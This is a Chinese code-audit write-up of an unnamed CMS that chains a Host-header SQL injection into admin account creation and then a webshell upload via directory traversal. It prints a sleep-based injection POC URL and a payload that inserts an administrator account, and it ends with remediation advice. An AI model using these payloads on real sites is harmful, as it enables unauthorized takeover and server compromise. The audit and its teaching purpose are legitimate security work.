【Web实战】记一次前台getshell组合拳审计的完整过程
字数 1555 2025-08-10 08:28:49
Web安全审计实战:从前台注入到后台GetShell的完整过程
1. 源码整体审计
1.1 系统架构分析
- 采用MVC模式的CMS系统
- 两个入口文件:
index.php- 前台入口admin/index.php- 后台入口
- 核心处理流程:入口文件 → 定义常量 → 调用
APP::run()
1.2 权限控制机制
- 控制器分布在两个目录:
controllers/- 前台控制器admin/controllers/- 后台控制器
- 权限校验特点:
- 不是统一鉴权,而是通过父类实现
SAdmin类会检测session但不强制拦截- 具体权限校验通过
CheckAccess和CheckAction方法实现 - 权限校验基于"权限字符是否在权限字符串中"的机制
1.3 输入过滤机制
- 过滤函数集中在
functions.globals.php - 关键过滤函数:
- 实体编码+加斜杠处理
- 通过三个核心函数获取输入:
_GET_POST_COOKIE
- 潜在问题:
- 未过滤其他HTTP头(X-Forwarded-For、Client-IP等)
- 过滤不是强制性的,依赖开发者主动调用
2. 漏洞审计发现
2.1 后台文件上传漏洞
- 漏洞类型:目录穿越+文件上传
- 利用条件:
- 后台管理员权限
- 上传模版文件功能
- 漏洞细节:
- 未过滤相对路径(如
../) - 仅检查文件后缀白名单
- 可直接上传Webshell
- 未过滤相对路径(如
2.2 后台SQL注入漏洞
- 漏洞位置:数据库管理功能
- 漏洞原因:
- 使用反引号包裹输入参数
- 过滤函数不过滤反引号
- 利用POC示例:
/admin/index.php/database/operate?dbaction=emptytable&tablename=hong_acat`+where+cat_id=2+and+sleep(2);--%20)# - 影响范围:所有使用
$database变量的地方
2.3 后台目录穿越漏洞
- 简单目录遍历漏洞
- 利用价值较低
3. 前台SQL注入漏洞深入分析
3.1 漏洞发现
- 未过滤参数:用户注册时的IP地址(
GetIP()函数) - 调用链:注册流程 → 使用
GetIP()→ 插入数据库
3.2 GetIP()函数分析
function GetIP() {
// 从HTTP头获取IP
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['HTTP_CLIENT_IP'] ?? getenv('REMOTE_ADDR');
// 如果IP格式无效,则使用gethostbyname($_SERVER['HTTP_HOST'])
if(!preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $ip)) {
return gethostbyname($_SERVER['HTTP_HOST']);
}
return $ip;
}
- 漏洞点:
- 当X-FORWARDED-FOR或CLIENT-IP不是有效IP格式时
- 使用HTTP_HOST头值通过gethostbyname()转换
- gethostbyname()不对输入做SQL过滤
3.3 漏洞利用条件
- 设置X-FORWARDED-FOR或CLIENT-IP为非IP格式值
- 修改Host头为SQL注入Payload
3.4 注入原理解析
原始SQL语句:
INSERT INTO {TABLE_PREFIX}_user
(groupid, activated, username, password, verifycode, joindate, joinip, lang, nickname, email)
VALUES
($groupid, $activated, '$username', '" .md5($password). "', '$verifycode', '" .time(). "', '" .GetIP(). "', $lang, '$nickname', '$email')
3.5 创建管理员账号的Payload
', 1, '123', '222@222.22'),(1, 1, '111111111', '593c9b4a9390551d53e5cacf28ebd638', '96fbTjrp', '1697167889', ' ', 1, '111111111', '222@222.22')#
- 效果:
- 创建用户名为
111111111 - 密码为
111111111111(MD5: 593c9b4a9390551d53e5cacf28ebd638) - 用户组ID为1(管理员)
- 创建用户名为
4. 完整攻击链利用
4.1 攻击步骤
- 利用前台SQL注入漏洞创建管理员账号
- 构造特殊HTTP请求:
- 设置X-Forwarded-For为非IP值
- 设置Host头为注入Payload
- 构造特殊HTTP请求:
- 使用创建的管理员账号登录后台
- 利用后台文件上传漏洞获取Webshell
- 通过模版文件上传功能
- 使用目录穿越+恶意文件上传
4.2 防御建议
- 输入过滤:
- 统一过滤所有HTTP输入
- 对IP地址严格验证
- 使用参数化查询
- 权限控制:
- 统一权限校验入口
- 强制session验证
- 文件上传:
- 限制上传目录
- 检查文件内容而不仅是扩展名
- 错误处理:
- 禁止显示数据库错误信息
5. 学习要点总结
- 关注输入源:不仅检查GET/POST,还要检查所有HTTP头
- 信任边界:从不可信源到可信源的所有数据流都要验证
- 最小权限原则:数据库操作使用最低必要权限
- 防御深度:多层防御机制比单一防护更可靠
- 代码审计技巧:
- 先理清系统架构
- 跟踪敏感函数调用链
- 特别注意数据从不可信源到敏感操作的路径